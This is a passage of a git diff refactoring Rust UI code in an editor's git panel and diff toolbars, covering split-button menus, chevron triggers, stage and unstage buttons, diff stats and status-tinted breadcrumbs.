+                            .color(label_color)
+                            .mr_0p5(),
+                    )
+                    .on_click({
+                        let git_panel = cx.weak_entity();
+                        move |_, window, cx| {
+                            telemetry::event!("Git Committed", source = "Git Panel");
+                            git_panel
+                                .update(cx, |git_panel, cx| {
+                                    git_panel.commit_changes(
+                                        CommitOptions {
+                                            amend,
+                                            signoff,
+                                            allow_empty: false,
+                                        },
+                                        window,
+                                        cx,
+                                    );
+                                })
+                                .ok();
+                        }
+                    })
+                    .tooltip({
+                        let handle = commit_tooltip_focus_handle.clone();
+                        move |_window, cx| {
+                            if can_commit {
+                                Tooltip::with_meta_in(
+                                    tooltip,
+                                    Some(&git::Commit),
+                                    format!(
+                                        "git commit{}{}",
+                                        if amend { " --amend" } else { "" },
+                                        if signoff { " --signoff" } else { "" }
+                                    ),
+                                    &handle.clone(),
                                     cx,
-                                );
-                            })
-                            .ok();
-                    }
-                })
-                .disabled(!can_commit || self.modal_open)
-                .tooltip({
-                    let handle = commit_tooltip_focus_handle.clone();
-                    move |_window, cx| {
-                        if can_commit {
-                            Tooltip::with_meta_in(
-                                tooltip,
-                                Some(&git::Commit),
-                                format!(
-                                    "git commit{}{}",
-                                    if amend { " --amend" } else { "" },
-                                    if signoff { " --signoff" } else { "" }
-                                ),
-                                &handle.clone(),
-                                cx,
-                            )
-                        } else {
-                            Tooltip::simple(tooltip, cx)
+                                )
+                            } else {
+                                Tooltip::simple(tooltip, cx)
+                            }
                         }
-                    }
-                }),
+                    }),
                 self.render_git_commit_menu(
                     ElementId::Name(format!("split-button-right-{}", title).into()),
                     Some(commit_tooltip_focus_handle),
@@ -5615,7 +5618,11 @@ impl GitPanel {
                 GitPanelTab::Changes,
                 ActivateChangesTab.boxed_clone(),
             ))
-            .child(Divider::vertical().color(ui::DividerColor::BorderFaded))
+            .child(
+                Divider::vertical()
+                    .color(ui::DividerColor::BorderFaded)
+                    .h_full(),
+            )
             .child(tab(
                 ElementId::Name("history-tab".into()),
                 active_tab != GitPanelTab::Changes,
@@ -6515,7 +6522,7 @@ impl GitPanel {
                 )
                 .separator()
                 .action("Open Diff", menu::Confirm.boxed_clone())
-                .action("Open Diff (File)", menu::SecondaryConfirm.boxed_clone())
+                .action("Open File Diff", menu::SecondaryConfirm.boxed_clone())
                 .action("View File", ViewFile.boxed_clone())
                 .when(!is_created, |context_menu| {
                     context_menu
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index a5dc98c5049cf0..08192d70c0fdae 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -2,10 +2,6 @@ use anyhow::anyhow;
 use commit_modal::CommitModal;
 use editor::{Editor, actions::DiffClipboardWithSelectionData};
 
-use ui::{
-    Color, Headline, HeadlineSize, Icon, IconName, IconSize, IntoElement, ParentElement, Render,
-    Styled, StyledExt, div, h_flex, rems, v_flex,
-};
 use workspace::{Toast, notifications::NotificationId};
 
 mod blame_ui;
@@ -23,7 +19,7 @@ use menu::{Cancel, Confirm};
 use project::git_store::Repository;
 use project_diff::ProjectDiff;
 use time::OffsetDateTime;
-use ui::prelude::*;
+use ui::{ButtonLike, ContextMenu, ElevationIndex, PopoverMenuHandle, TintColor, prelude::*};
 use workspace::{
     ModalView, OpenMode, Workspace,
     notifications::{DetachAndPromptErr, NotifyTaskExt},
@@ -766,6 +762,7 @@ fn render_remote_button(
     keybinding_target: Option<FocusHandle>,
     show_fetch_button: bool,
     in_progress_operation: Option<RemoteOperationKind>,
+    menu_handle: PopoverMenuHandle<ContextMenu>,
 ) -> Option<impl IntoElement> {
     let id = id.into();
     let upstream = branch.upstream.as_ref();
@@ -778,6 +775,7 @@ fn render_remote_button(
                 keybinding_target,
                 id,
                 in_progress_operation,
+                menu_handle,
             )),
             (0, 0) => None,
             (ahead, 0) => Some(remote_button::render_push_button(
@@ -785,6 +783,7 @@ fn render_remote_button(
                 id,
                 ahead,
                 in_progress_operation,
+                menu_handle,
             )),
             (ahead, behind) => Some(remote_button::render_pull_button(
                 keybinding_target,
@@ -792,6 +791,7 @@ fn render_remote_button(
                 ahead,
                 behind,
                 in_progress_operation,
+                menu_handle,
             )),
         },
         Some(Upstream {
@@ -801,11 +801,13 @@ fn render_remote_button(
             keybinding_target,
             id,
             in_progress_operation,
+            menu_handle,
         )),
         None => Some(remote_button::render_publish_button(
             keybinding_target,
             id,
             in_progress_operation,
+            menu_handle,
         )),
     }
 }
@@ -813,12 +815,16 @@ fn render_remote_button(
 mod remote_button {
     use crate::git_panel::RemoteOperationKind;
     use gpui::{Action, Anchor, AnyView, ClickEvent, FocusHandle};
-    use ui::{CommonAnimationExt, ContextMenu, PopoverMenu, SplitButton, Tooltip, prelude::*};
+    use ui::{
+        ButtonLike, CommonAnimationExt, ContextMenu, ElevationIndex, PopoverMenu,
+        PopoverMenuHandle, SplitButton, Tooltip, prelude::*,
+    };
 
     pub fn render_fetch_button(
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> SplitButton {
         split_button(
             id,
@@ -828,6 +834,7 @@ mod remote_button {
             Some(IconName::ArrowCircle),
             keybinding_target.clone(),
             in_progress_operation,
+            menu_handle,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Fetch), cx);
             },
@@ -848,6 +855,7 @@ mod remote_button {
         id: SharedString,
         ahead: u32,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> SplitButton {
         split_button(
             id,
@@ -857,6 +865,7 @@ mod remote_button {
             None,
             keybinding_target.clone(),
             in_progress_operation,
+            menu_handle,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -878,6 +887,7 @@ mod remote_button {
         ahead: u32,
         behind: u32,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> SplitButton {
         split_button(
             id,
@@ -887,6 +897,7 @@ mod remote_button {
             None,
             keybinding_target.clone(),
             in_progress_operation,
+            menu_handle,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Pull), cx);
             },
@@ -906,6 +917,7 @@ mod remote_button {
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> SplitButton {
         split_button(
             id,
@@ -915,6 +927,7 @@ mod remote_button {
             Some(IconName::ExpandUp),
             keybinding_target.clone(),
             in_progress_operation,
+            menu_handle,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -934,6 +947,7 @@ mod remote_button {
         keybinding_target: Option<FocusHandle>,
         id: SharedString,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> SplitButton {
         split_button(
             id,
@@ -943,6 +957,7 @@ mod remote_button {
             Some(IconName::ExpandUp),
             keybinding_target.clone(),
             in_progress_operation,
+            menu_handle,
             move |_, window, cx| {
                 window.dispatch_action(Box::new(git::Push), cx);
             },
@@ -986,18 +1001,16 @@ mod remote_button {
     fn render_git_action_menu(
         id: impl Into<ElementId>,
         keybinding_target: Option<FocusHandle>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
     ) -> impl IntoElement {
+        let menu_open = menu_handle.is_deployed();
+
         PopoverMenu::new(id.into())
-            .trigger(
-                ui::ButtonLike::new_rounded_right("split-button-right")
-                    .layer(ui::ElevationIndex::ModalSurface)
-                    .size(ui::ButtonSize::None)
-                    .child(
-                        div()
-                            .px_1()
-                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
-                    ),
-            )
+            .trigger(crate::render_split_button_chevron_trigger(
+                "split-button-right",
+                menu_open,
+            ))
+            .with_handle(menu_handle)
             .menu(move |window, cx| {
                 Some(ContextMenu::build(window, cx, |context_menu, _, _| {
                     context_menu
@@ -1015,6 +1028,10 @@ mod remote_button {
                 }))
             })
             .anchor(Anchor::TopRight)
+            .offset(gpui::Point {
+                x: px(0.),
+                y: px(2.),
+            })
     }
 
     #[allow(clippy::too_many_arguments)]
@@ -1026,6 +1043,7 @@ mod remote_button {
         left_icon: Option<IconName>,
         keybinding_target: Option<FocusHandle>,
         in_progress_operation: Option<RemoteOperationKind>,
+        menu_handle: PopoverMenuHandle<ContextMenu>,
         left_on_click: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static,
         tooltip: impl Fn(&mut Window, &mut App) -> AnyView + 'static,
     ) -> SplitButton {
@@ -1033,7 +1051,6 @@ mod remote_button {
             h_flex()
                 .ml_neg_px()
                 .h(rems(0.875))
-                .items_center()
                 .overflow_hidden()
                 .px_0p5()
                 .child(
@@ -1046,58 +1063,57 @@ mod remote_button {
         let should_render_counts = left_icon.is_none() && (ahead_count > 0 || behind_count > 0);
         let is_in_progress = in_progress_operation.is_some();
 
-        let left = ui::ButtonLike::new_rounded_left(ElementId::Name(
-            format!("split-button-left-{}", id).into(),
-        ))
-        .layer(ui::ElevationIndex::ModalSurface)
-        .size(ui::ButtonSize::Compact)
-        .disabled(is_in_progress)
-        .when(should_render_counts, |this| {
-            this.child(
-                h_flex()
-                    .ml_neg_0p5()
-                    .when(behind_count > 0, |this| {
-                        this.child(Icon::new(IconName::ArrowDown).size(IconSize::XSmall))
-                            .child(count(behind_count))
-                    })
-                    .when(ahead_count > 0, |this| {
-                        this.child(Icon::new(IconName::ArrowUp).size(IconSize::XSmall))
-                            .child(count(ahead_count))
-                    }),
+        let left = ButtonLike::new_rounded_left(format!("split-button-left-{}", id))
+            .layer(ElevationIndex::ModalSurface)
+            .size(ButtonSize::Compact)
+            .disabled(is_in_progress)
+            .when(should_render_counts, |this| {
+                this.child(
+                    h_flex()
+                        .ml_neg_0p5()
+                        .when(behind_count > 0, |this| {
+                            this.child(Icon::new(IconName::ArrowDown).size(IconSize::XSmall))
+                                .child(count(behind_count))
+                        })
+                        .when(ahead_count > 0, |this| {
+                            this.child(Icon::new(IconName::ArrowUp).size(IconSize::XSmall))
+                                .child(count(ahead_count))
+                        }),
+                )
+            })
+            .when_some(left_icon, |this, left_icon| {
+                this.map(|this| {
+                    if is_in_progress {
+                        this.child(
+                            Icon::new(IconName::LoadCircle)
+                                .size(IconSize::XSmall)
+                                .color(Color::Disabled)
+                                .with_rotate_animation(2),
+                        )
+                    } else {
+                        this.child(Icon::new(left_icon).size(IconSize::XSmall))
+                    }
+                })
+            })
+            .child(
+                Label::new(left_label)
+                    .size(LabelSize::Small)
+                    .when(is_in_progress, |this| this.color(Color::Disabled))
+                    .mr_0p5(),
             )
-        })
-        .when_some(left_icon, |this, left_icon| {
-            this.map(|this| {
-                if is_in_progress {
-                    this.child(
-                        Icon::new(IconName::LoadCircle)
-                            .size(IconSize::XSmall)
-                            .color(Color::Disabled)
-                            .with_rotate_animation(2),
-                    )
+            .on_click(left_on_click)
+            .tooltip(move |window, cx| {
+                if let Some(operation) = in_progress_operation {
+                    Tooltip::simple(in_progress_tooltip(operation), cx)
                 } else {
-                    this.child(Icon::new(left_icon).size(IconSize::XSmall))
+                    tooltip(window, cx)
                 }
-            })
-        })
-        .child(
-            Label::new(left_label)
-                .size(LabelSize::Small)
-                .when(is_in_progress, |this| this.color(Color::Disabled))
-                .mr_0p5(),
-        )
-        .on_click(left_on_click)
-        .tooltip(move |window, cx| {
-            if let Some(operation) = in_progress_operation {
-                Tooltip::simple(in_progress_tooltip(operation), cx)
-            } else {
-                tooltip(window, cx)
-            }
-        });
+            });
 
         let right = render_git_action_menu(
-            ElementId::Name(format!("split-button-right-{}", id).into()),
+            format!("split-button-right-{}", id),
             keybinding_target,
+            menu_handle,
         )
         .into_any_element();
 
@@ -1105,6 +1121,25 @@ mod remote_button {
     }
 }
 
+pub(crate) fn render_split_button_chevron_trigger(
+    id: impl Into<ElementId>,
+    menu_open: bool,
+) -> ButtonLike {
+    let chevron_button_size = rems_from_px(20.);
+    let chevron_icon = if menu_open {
+        IconName::ChevronUp
+    } else {
+        IconName::ChevronDown
+    };
+
+    ButtonLike::new_rounded_right(id)
+        .layer(ElevationIndex::ModalSurface)
+        .selected_style(ButtonStyle::Tinted(TintColor::Accent))
+        .width(chevron_button_size)
+        .height(chevron_button_size.into())
+        .child(Icon::new(chevron_icon).size(IconSize::XSmall))
+}
+
 /// A visual representation of a file's Git status.
 #[derive(IntoElement, RegisterComponent)]
 pub struct GitStatusIcon {
diff --git a/crates/git_ui/src/project_diff.rs b/crates/git_ui/src/project_diff.rs
index 89f57e274f805d..91f351bec29d63 100644
--- a/crates/git_ui/src/project_diff.rs
+++ b/crates/git_ui/src/project_diff.rs
@@ -40,7 +40,6 @@ use std::sync::Arc;
 use theme::ActiveTheme;
 use ui::{
     CommonAnimationExt as _, DiffStat, Divider, KeyBinding, PopoverMenu, Tooltip, prelude::*,
-    vertical_divider,
 };
 use util::{ResultExt as _, rel_path::RelPath};
 use workspace::{
@@ -1739,16 +1738,59 @@ impl Render for ProjectDiffToolbar {
         let button_states = project_diff.read(cx).button_states(cx);
         let review_count = project_diff.read(cx).total_review_comment_count();
 
-        h_group_xl()
+        let (additions, deletions) = project_diff.read(cx).calculate_changed_lines(cx);
+        let is_multibuffer_empty = project_diff.read(cx).multibuffer.read(cx).is_empty();
+
+        h_flex()
             .my_neg_1()
             .py_1()
-            .items_center()
+            .gap_1p5()
             .flex_wrap()
             .justify_between()
+            .when(!is_multibuffer_empty, |this| {
+                this.child(DiffStat::new(
+                    "project-diff-stat",
+                    additions as usize,
+                    deletions as usize,
+                ))
+                .child(Divider::vertical().ml_1())
+            })
+            // n.b. the only reason these arrows are here is because we don't
+            // support "undo" for staging so we need a way to go back.
             .child(
                 h_group_sm()
-                    .when(button_states.selection, |el| {
-                        el.child(
+                    .child(
+                        IconButton::new("up", IconName::ArrowUp)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Previous Hunk",
+                                &GoToPreviousHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToPreviousHunk, window, cx)
+                            })),
+                    )
+                    .child(
+                        IconButton::new("down", IconName::ArrowDown)
+                            .icon_size(IconSize::Small)
+                            .disabled(!button_states.prev_next)
+                            .tooltip(Tooltip::for_action_title_in(
+                                "Go to Next Hunk",
+                                &GoToHunk,
+                                &focus_handle,
+                            ))
+                            .on_click(cx.listener(|this, _, window, cx| {
+                                this.dispatch_action(&GoToHunk, window, cx)
+                            })),
+                    ),
+            )
+            .child(Divider::vertical())
+            .child(
+                h_group_sm()
+                    .when(button_states.selection, |this| {
+                        this.child(
                             Button::new("stage", "Toggle Staged")
                                 .tooltip(Tooltip::for_action_title_in(
                                     "Toggle Staged",
@@ -1761,127 +1803,83 @@ impl Render for ProjectDiffToolbar {
                                 })),
                         )
                     })
-                    .when(!button_states.selection, |el| {
-                        el.child(
+                    .when(!button_states.selection, |this| {
+                        this.child(
                             Button::new("stage", "Stage")
+                                .disabled(!button_states.stage)
                                 .tooltip(Tooltip::for_action_title_in(
-                                    "Stage and go to next hunk",
+                                    "Stage and Go to Next Hunk",
                                     &StageAndNext,
                                     &focus_handle,
                                 ))
-                                .disabled(
-                                    !button_states.prev_next
-                                        && !button_states.stage_all
-                                        && !button_states.unstage_all,
-                                )
                                 .on_click(cx.listener(|this, _, window, cx| {
                                     this.dispatch_action(&StageAndNext, window, cx)
                                 })),
                         )
                         .child(
                             Button::new("unstage", "Unstage")
+                                .disabled(!button_states.unstage)
                                 .tooltip(Tooltip::for_action_title_in(
-                                    "Unstage and go to next hunk",
+                                    "Unstage and Go to Next Hunk",
                                     &UnstageAndNext,
                                     &focus_handle,
                                 ))
-                                .disabled(
-                                    !button_states.prev_next
-                                        && !button_states.stage_all
-                                        && !button_states.unstage_all,
-                                )
                                 .on_click(cx.listener(|this, _, window, cx| {
                                     this.dispatch_action(&UnstageAndNext, window, cx)
                                 })),
                         )
                     }),
             )
-            // n.b. the only reason these arrows are here is because we don't
-            // support "undo" for staging so we need a way to go back.
-            .child(
-                h_group_sm()
-                    .child(
-                        IconButton::new("up", IconName::ArrowUp)
-                            .shape(ui::IconButtonShape::Square)
+            .child(Divider::vertical())
+            .when(
+                button_states.unstage_all && !button_states.stage_all,
+                |this| {
+                    this.child(
+                        Button::new("unstage-all", "Unstage All")
+                            .width(rems_from_px(80.))
                             .tooltip(Tooltip::for_action_title_in(
-                                "Go to previous hunk",
-                                &GoToPreviousHunk,
+                                "Unstage All Changes",
+                                &UnstageAll,
                                 &focus_handle,
                             ))
-                            .disabled(!button_states.prev_next)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&GoToPreviousHunk, window, cx)
-                            })),
+                            .on_click(
+                                cx.listener(|this, _, window, cx| this.unstage_all(window, cx)),
+                            ),
                     )
-                    .child(
-                        IconButton::new("down", IconName::ArrowDown)
-                            .shape(ui::IconButtonShape::Square)
+                },
+            )
+            .when(
+                !button_states.unstage_all || button_states.stage_all,
+                |this| {
+                    this.child(
+                        Button::new("stage-all", "Stage All")
+                            .width(rems_from_px(80.))
+                            .disabled(!button_states.stage_all)
                             .tooltip(Tooltip::for_action_title_in(
-                                "Go to next hunk",
-                                &GoToHunk,
+                                "Stage All Changes",
+                                &StageAll,
                                 &focus_handle,
                             ))
-                            .disabled(!button_states.prev_next)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&GoToHunk, window, cx)
-                            })),
-                    ),
+                            .on_click(
+                                cx.listener(|this, _, window, cx| this.stage_all(window, cx)),
+                            ),
+                    )
+                },
             )
-            .child(vertical_divider())
+            .child(Divider::vertical())
             .child(
-                h_group_sm()
-                    .when(
-                        button_states.unstage_all && !button_states.stage_all,
-                        |el| {
-                            el.child(
-                                Button::new("unstage-all", "Unstage All")
-                                    .tooltip(Tooltip::for_action_title_in(
-                                        "Unstage all changes",
-                                        &UnstageAll,
-                                        &focus_handle,
-                                    ))
-                                    .on_click(cx.listener(|this, _, window, cx| {
-                                        this.unstage_all(window, cx)
-                                    })),
-                            )
-                        },
-                    )
-                    .when(
-                        !button_states.unstage_all || button_states.stage_all,
-                        |el| {
-                            el.child(
-                                // todo make it so that changing to say "Unstaged"
-                                // doesn't change the position.
-                                div().child(
-                                    Button::new("stage-all", "Stage All")
-                                        .disabled(!button_states.stage_all)
-                                        .tooltip(Tooltip::for_action_title_in(
-                                            "Stage all changes",
-                                            &StageAll,
-                                            &focus_handle,
-                                        ))
-                                        .on_click(cx.listener(|this, _, window, cx| {
-                                            this.stage_all(window, cx)
-                                        })),
-                                ),
-                            )
-                        },
-                    )
-                    .child(
-                        Button::new("commit", "Commit")
-                            .tooltip(Tooltip::for_action_title_in(
-                                "Commit",
-                                &Commit,
-                                &focus_handle,
-                            ))
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                this.dispatch_action(&Commit, window, cx);
-                            })),
-                    ),
+                Button::new("commit", "Commit")
+                    .tooltip(Tooltip::for_action_title_in(
+                        "Commit",
+                        &Commit,
+                        &focus_handle,
+                    ))
+                    .on_click(cx.listener(|this, _, window, cx| {
+                        this.dispatch_action(&Commit, window, cx);
+                    })),
             )
-            // "Send Review to Agent" button (only shown when there are review comments)
             .when(review_count > 0, |el| {
-                el.child(vertical_divider()).child(
+                el.child(Divider::vertical()).child(
                     render_send_review_to_agent_button(review_count, &focus_handle).on_click(
                         cx.listener(|this, _, window, cx| {
                             this.dispatch_action(&SendReviewToAgent, window, cx)
@@ -1985,13 +1983,20 @@ impl Render for BranchDiffToolbar {
 
         let show_review_button = !is_multibuffer_empty && is_ai_enabled;
 
-        h_group_xl()
+        h_flex()
             .my_neg_1()
             .py_1()
-            .items_center()
+            .gap_1p5()
             .flex_wrap()
-            .justify_end()
-            .gap_2()
+            .justify_between()
+            .when(!is_multibuffer_empty, |this| {
+                this.child(DiffStat::new(
+                    "branch-diff-stat",
+                    additions as usize,
+                    deletions as usize,
+                ))
+            })
+            .child(Divider::vertical().ml_1())
             .child(
                 PopoverMenu::new("branch-diff-base-branch-picker")
                     .menu(move |window, cx| {
@@ -2013,6 +2018,7 @@ impl Render for BranchDiffToolbar {
                                     .ok();
                             },
                         );
+
                         Some(branch_picker::select_popover(
                             workspace.clone(),
                             repository.clone(),
@@ -2023,23 +2029,14 @@ impl Render for BranchDiffToolbar {
                         ))
                     })
                     .trigger_with_tooltip(
-                        Button::new("branch-diff-base-branch", base_ref_label)
-                            .color(Color::Muted)
-                            .end_icon(
-                                Icon::new(IconName::ChevronDown)
-                                    .size(IconSize::XSmall)
-                                    .color(Color::Muted),
-                            ),
-                        Tooltip::text("Select base branch"),
+                        Button::new("branch-diff-base-branch", base_ref_label).end_icon(
+                            Icon::new(IconName::ChevronDown)
+                                .size(IconSize::XSmall)
+                                .color(Color::Muted),
+                        ),
+                        Tooltip::text("Select Base Branch"),
                     ),
             )
-            .when(!is_multibuffer_empty, |this| {
-                this.child(DiffStat::new(
-                    "branch-diff-stat",
-                    additions as usize,
-                    deletions as usize,
-                ))
-            })
             .when(show_review_button, |this| {
                 let focus_handle = focus_handle.clone();
                 this.child(Divider::vertical()).child(
@@ -2049,7 +2046,6 @@ impl Render for BranchDiffToolbar {
                                 .size(IconSize::Small)
                                 .color(Color::Muted),
                         )
-                        .key_binding(KeyBinding::for_action_in(&ReviewDiff, &focus_handle, cx))
                         .tooltip(move |_, cx| {
                             Tooltip::with_meta_in(
                                 "Review Diff",
@@ -2065,7 +2061,7 @@ impl Render for BranchDiffToolbar {
                 )
             })
             .when(review_count > 0, |this| {
-                this.child(vertical_divider()).child(
+                this.child(Divider::vertical()).child(
                     render_send_review_to_agent_button(review_count, &focus_handle).on_click(
                         cx.listener(|this, _, window, cx| {
                             this.dispatch_action(&SendReviewToAgent, window, cx)
diff --git a/crates/git_ui/src/solo_diff_view.rs b/crates/git_ui/src/solo_diff_view.rs
index 90bde497fa1a84..9ada614cfcf02d 100644
--- a/crates/git_ui/src/solo_diff_view.rs
+++ b/crates/git_ui/src/solo_diff_view.rs
@@ -1,18 +1,19 @@
-use crate::{git_panel::GitStatusEntry, git_status_icon};
+use crate::{git_panel::GitStatusEntry, git_panel_settings::GitPanelSettings, git_status_icon};
 use anyhow::{Context as _, Result};
 use buffer_diff::DiffHunkSecondaryStatus;
 use editor::{
-    Direction, Editor, EditorEvent, EditorSettings, SplittableEditor, ToggleSplitDiff,
+    DiffStyleControls, Direction, Editor, EditorEvent, EditorSettings, SplittableEditor,
+    ToggleSplitDiff,
     actions::{GoToHunk, GoToPreviousHunk},
+    file_status_label_color,
 };
-use fs::Fs;
 use git::{
     Commit, Restore, StageAndNext, StageFile, ToggleStaged, UnstageAndNext, UnstageFile,
     repository::RepoPath, status::StageStatus,
 };
 use gpui::{
-    Action, AnyElement, App, AppContext as _, Context, Entity, EventEmitter, FocusHandle,
-    Focusable, IntoElement, Render, Subscription, Task, WeakEntity, Window,
+    Action, AnyElement, App, AppContext as _, Context, Empty, Entity, EventEmitter, FocusHandle,
+    Focusable, HighlightStyle, IntoElement, Render, Subscription, Task, WeakEntity, Window,
 };
 use language::{Anchor, Buffer, HighlightedText, OffsetRangeExt as _, Point};
 use multi_buffer::{MultiBuffer, PathKey, excerpt_context_lines};
@@ -20,16 +21,13 @@ use project::{
     Project,
     git_store::{Repository, RepositoryId},
 };
-use settings::{DiffViewStyle, Settings, SettingsStore, update_settings_file};
+use settings::{Settings, SettingsStore, StatusStyle};
 use std::{
     any::{Any, TypeId},
     ops::Range,
     sync::Arc,
 };
-use ui::{
-    Color, DiffStat, Divider, Icon, IconButton, IconButtonShape, IconName, Label, LabelCommon as _,
-    SharedString, Tooltip, prelude::*, vertical_divider,
-};
+use ui::{DiffStat, Divider, Tooltip, prelude::*};
 use util::paths::{PathExt as _, PathStyle};
 use workspace::{
     Item, ItemHandle, ItemNavHistory, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
@@ -479,16 +477,31 @@ impl Item for SoloDiffView {
     }
 
     fn breadcrumbs(&self, cx: &App) -> Option<(Vec<HighlightedText>, Option<gpui::Font>)> {
+        let text: SharedString = self
+            .repo_path
+            .as_ref()
+            .display(PathStyle::local())
+            .into_owned()
+            .into();
+
+        // When the git panel is set to convey status via label color rather
+        // than an icon, tint the whole path like multibuffer headers do.
+        let mut highlights = Vec::new();
+        if GitPanelSettings::get_global(cx).status_style == StatusStyle::LabelColor
+            && let Some(status) = self
+                .repository
+                .read(cx)
+                .status_for_path(&self.repo_path)
+                .map(|entry| entry.status)
+        {
+            highlights.push((
+                0..text.len(),
+                HighlightStyle::color(file_status_label_color(Some(status)).color(cx)),
+            ));
+        }
+
         Some((
-            vec![HighlightedText {
-                text: self
-                    .repo_path
-                    .as_ref()
-                    .display(PathStyle::local())
-                    .into_owned()
-                    .into(),
-                highlights: Vec::new(),
-            }],
+            vec![HighlightedText { text, highlights }],
             Some(
                 theme_settings::ThemeSettings::get_global(cx)
                     .buffer_font
@@ -548,43 +561,6 @@ impl SoloDiffStyleToolbar {
         self.solo_diff.as_ref()?.upgrade()
     }
 
-    fn set_diff_view_style(
-        &mut self,
-        diff_view_style: DiffViewStyle,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(solo_diff) = self.solo_diff() else {
-            return;
-        };
-        let workspace = solo_diff.read(cx).workspace.clone();
-
-        update_settings_file(<dyn Fs>::global(cx), cx, move |settings, _| {
-            settings.editor.diff_view_style = Some(diff_view_style);
-        });
-
-        if let Some(workspace) = workspace.upgrade() {
-            let splittable_editors = {
-                workspace
-                    .read(cx)
-                    .items(cx)
-                    .filter_map(|item| item.act_as_type(TypeId::of::<SplittableEditor>(), cx))
-                    .filter_map(|item| item.downcast::<SplittableEditor>().ok())
-                    .collect::<Vec<_>>()
-            };
-
-            for editor in splittable_editors {
-                editor.update(cx, |editor, cx| {
-                    if editor.diff_view_style() != diff_view_style {
-                        editor.toggle_split(&ToggleSplitDiff, window, cx);
-                    }
-                });
-            }
-        }
-
-        cx.notify();
-    }
-
     fn toggle_showing_full_file(&mut self, cx: &mut Context<Self>) {
         if let Some(solo_diff) = self.solo_diff() {
             solo_diff.update(cx, |solo_diff, cx| {
@@ -617,64 +593,49 @@ impl ToolbarItemView for SoloDiffStyleToolbar {
 impl Render for SoloDiffStyleToolbar {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let Some(solo_diff) = self.solo_diff() else {
-            return div();
+            return Empty.into_any_element();
         };
-        let (editor_entity, showing_full_file) = {
+
+        let (editor_entity, showing_full_file, status) = {
             let solo_diff = solo_diff.read(cx);
-            (solo_diff.editor.clone(), solo_diff.showing_full_file)
+            (
+                solo_diff.editor.clone(),
+                solo_diff.showing_full_file,
+                solo_diff
+                    .repository
+                    .read(cx)
+                    .status_for_path(&solo_diff.repo_path)
+                    .map(|entry| entry.status),
+            )
         };
-        let editor = editor_entity.read(cx);
-        let diff_view_style = editor.diff_view_style();
-        let is_split_set = diff_view_style == DiffViewStyle::Split;
-        let split_icon = if is_split_set && !editor.is_split() {
-            IconName::DiffSplitAuto
+
+        let show_status_icon =
+            GitPanelSettings::get_global(cx).status_style != StatusStyle::LabelColor;
+
+        let (expand_icon, expand_tooltip) = if showing_full_file {
+            (IconName::ChevronDownUp, "Show Changes Only")
         } else {
-            IconName::DiffSplit
+            (IconName::ChevronUpDown, "Show Full File")
         };
 
         h_flex()
-            .h_8()
-            .items_center()
+            .pl_0p5()
             .gap_1()
             .child(
-                IconButton::new(
-                    "solo-diff-toggle-excerpts",
-                    if showing_full_file {
-                        IconName::ChevronDownUp
-                    } else {
-                        IconName::ChevronUpDown
-                    },
-                )
-                .icon_size(IconSize::Small)
-                .tooltip(Tooltip::text(if showing_full_file {
-                    "Show Changes Only"
-                } else {
-                    "Show Full File"
-                }))
-                .on_click(cx.listener(|this, _, _, cx| {
-                    this.toggle_showing_full_file(cx);
-                })),
-            )
-            .child(
-                IconButton::new("solo-diff-unified", IconName::DiffUnified)
+                IconButton::new("solo-diff-toggle-excerpts", expand_icon)
                     .icon_size(IconSize::Small)
-                    .toggle_state(diff_view_style == DiffViewStyle::Unified)
-                    .tooltip(Tooltip::text("Unified"))
-                    .on_click(cx.listener(|this, _, window, cx| {
-                        this.set_diff_view_style(DiffViewStyle::Unified, window, cx);
+                    .tooltip(Tooltip::text(expand_tooltip))
+                    .on_click(cx.listener(|this, _, _, cx| {
+                        this.toggle_showing_full_file(cx);
                     })),
             )
-            .child(
-                IconButton::new("solo-diff-split", split_icon)
-                    .icon_size(IconSize::Small)
-                    .toggle_state(diff_view_style == DiffViewStyle::Split)
-                    .tooltip(Tooltip::text("Split"))
-                    .on_click(cx.listener(|this, _, window, cx| {
-                        this.set_diff_view_style(DiffViewStyle::Split, window, cx);
-                    })),
+            .child(DiffStyleControls::new(editor_entity))
+            .child(Divider::vertical().mr_1())
+            .when_some(
+                show_status_icon.then_some(status).flatten(),
+                |this, status| this.child(git_status_icon(status)),
             )
-            .child(vertical_divider())
-            .child(div().w_1())
+            .into_any_element()
     }
 }
 
@@ -745,8 +706,9 @@ struct SoloDiffButtonStates {
 impl Render for SoloDiffGitToolbar {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let Some(solo_diff) = self.solo_diff() else {
-            return div();
+            return gpui::Empty.into_any_element();
         };
+
         let focus_handle = solo_diff.focus_handle(cx);
         let solo_diff = solo_diff.read(cx);
         let button_states = solo_diff.button_states(cx);
